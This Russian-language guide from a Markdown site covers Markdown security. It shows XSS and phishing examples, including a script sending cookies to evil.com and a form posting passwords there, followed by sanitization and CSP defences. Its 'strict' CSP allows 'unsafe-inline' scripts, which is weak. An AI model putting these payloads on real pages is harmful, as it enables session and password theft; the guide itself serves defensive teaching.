Skip to content

Лучшие практики безопасности Markdown

Хотя Markdown выглядит как обычный текст, неправильная обработка может привести к серьезным уязвимостям безопасности. Это руководство показывает, как безопасно обрабатывать контент Markdown.

Распространенные угрозы безопасности

1. XSS (Межсайтовый скриптинг)

Markdown позволяет встраивать HTML, что может быть использовано для внедрения вредоносных скриптов:

markdown
<!-- Опасно: неочищенный HTML -->
<script>
  // Кража cookies
  fetch('https://evil.com/steal?data=' + document.cookie);
</script>

<img src="x" onerror="alert('XSS')">

<a href="javascript:alert('XSS')">Нажмите</a>

2. HTML-инъекция

Даже без JavaScript вредоносный HTML может причинить вред:

markdown
<!-- Фишинговая атака -->
<form action="https://evil.com/phish" method="POST">
  <input type="password" name="password" placeholder="Введите пароль">
  <button>Войти</button>
</form>

Стратегии защиты

1. Content Security Policy (CSP)

Реализуйте строгие заголовки CSP:

html
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' 'unsafe-inline' https://trusted-cdn.com; 
               style-src 'self' 'unsafe-inline'; 
               img-src 'self' data: https:;">

2. Очистка HTML

Используйте специализированные библиотеки очистки:

DOMPurify (браузер)

javascript
import DOMPurify from 'dompurify';
import marked from 'marked';

const dirty = marked.parse(userMarkdown);
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
  ALLOWED_ATTR: ['href', 'title', 'class'],
  FORBID_TAGS: ['script', 'style', 'iframe', 'form'],
  FORBID_ATTR: ['onerror', 'onclick', 'onload']
});

document.getElementById('output').innerHTML = clean;

3. Настройка безопасного парсера Markdown

Безопасная конфигурация Marked

javascript
const marked = require('marked');

const renderer = {
  html(html) {
    // Полностью блокировать HTML
    return '';
  },
  link(href, title, text) {
    // Разрешить только безопасные протоколы
    const safeProtocols = ['http:', 'https:', 'mailto:'];
    try {
      const url = new URL(href);
      if (!safeProtocols.includes(url.protocol)) {
        return text;
      }
    } catch {
      return text;
    }
    
    return `<a href="${href}" title="${title || ''}" rel="noopener noreferrer" target="_blank">${text}</a>`;
  }
};

marked.use({ renderer });

Контрольный список безопасности

Перед развертыванием

  • [ ] Включить Content Security Policy (CSP)
  • [ ] Реализовать очистку HTML (DOMPurify/sanitize-html)
  • [ ] Отключить или ограничить необработанный HTML
  • [ ] Валидировать все URL и ссылки
  • [ ] Реализовать ограничение скорости
  • [ ] Добавить защиту CSRF
  • [ ] Валидировать загрузки файлов
  • [ ] Реализовать аутентификацию и авторизацию
  • [ ] Установить ограничения длины контента
  • [ ] Включить HTTPS
  • [ ] Настроить безопасные HTTP-заголовки
  • [ ] Реализовать журналирование и мониторинг
  • [ ] Проводить регулярные аудиты безопасности
  • [ ] Поддерживать зависимости в актуальном состоянии

Заключение

Безопасность Markdown нельзя игнорировать. Реализуя соответствующие меры очистки, валидации, аутентификации и мониторинга, вы можете безопасно обрабатывать пользовательский контент Markdown и защищать приложения и пользователей от атак.

Дополнительные ресурсы

Build by www.markdownlang.com